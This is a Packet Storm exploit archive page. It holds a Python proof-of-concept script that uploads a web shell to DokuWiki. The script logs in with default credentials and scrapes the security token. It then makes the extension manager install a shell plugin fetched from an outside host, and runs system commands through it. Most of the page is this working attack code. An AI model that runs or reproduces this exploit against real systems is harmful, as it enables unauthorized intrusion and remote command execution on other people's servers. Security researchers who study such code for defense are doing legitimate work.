exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DokuWiki Proof Of Concept Shell Upload

DokuWiki Proof Of Concept Shell Upload
Posted May 28, 2017
Authored by Cody Sixteen

This proof of concept code shows how administrative functionality can be abused in DokuWiki to upload a shell.

tags | exploit, shell, proof of concept
SHA-256 | 898865a317bcc77f576b4558759df3d84a4cbe466095de9d767b2e148a4909db

DokuWiki Proof Of Concept Shell Upload

Change Mirror Download
c@kali:~/src/napalm2.2/modules$ cat shell-dokuwiki.py
#!/usr/bin/env python
# shell-dokuwiki.py - module to upload shell, based on previous version
# created 28.04.2017. Bug ('feature') is exploitable only
# when you will have a valid credentials.
# for this proof-of-concept you'll also need host with you.r/shell.zip
#

import sys
import re
import requests

print '[+] Module : dokuwiki - started.'

print
target = raw_input("[+] Hostname> ")
logMe = target + '/doku.php?id=start&do=login&sectok='
print

session = requests.session()
login_data = dict(u='user', p='bitnami')
req = session.post(logMe, data=login_data)

# 2nd req:
afterPage = target + '/doku.php?id=start&do=admin&page=extension&tab=install'
req2 = session.get(afterPage)

resp = req2.text
if 'Log Out' in resp:
print '[+] We are logged-in as admin. Preparing shell...'


req3 = session.get(afterPage)
resp3 = req3.text

pattern = re.compile('<input type="hidden" name="sectok" value="(.*?)"/>')
found = re.search(pattern, resp3)

if found:
sectok = found.group(1)
print '[+] Found "sectok":' + str( sectok )
print '[+] Preparing shell params to upload'

data_shell = {
'sectok':sectok,
'installurl':'http://192.168.1.205/mishell.zip'
}
reqshell = session.post(afterPage, data=data_shell)
respshell = reqshell.text

md5name = re.compile('<div class="success">Plugin (.*?) installed successfully</div>')
foundmishell = re.search(md5name, respshell)

if foundmishell:
print '[+] Mishell name:' + str( foundmishell.group(1))

shellUrl = target + '/lib/plugins/'+foundmishell.group(1)+'/mishell.php?x=id;uname -a'
verify = session.get(shellUrl)
vtext = verify.text

print ' ',vtext
print ''
print '[+] Your shell should be here:', shellUrl

## can not log in
else:
print '[-] Can not login. Something is wrong :C'


print '[+] Module : dokuwiki - finished.'

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close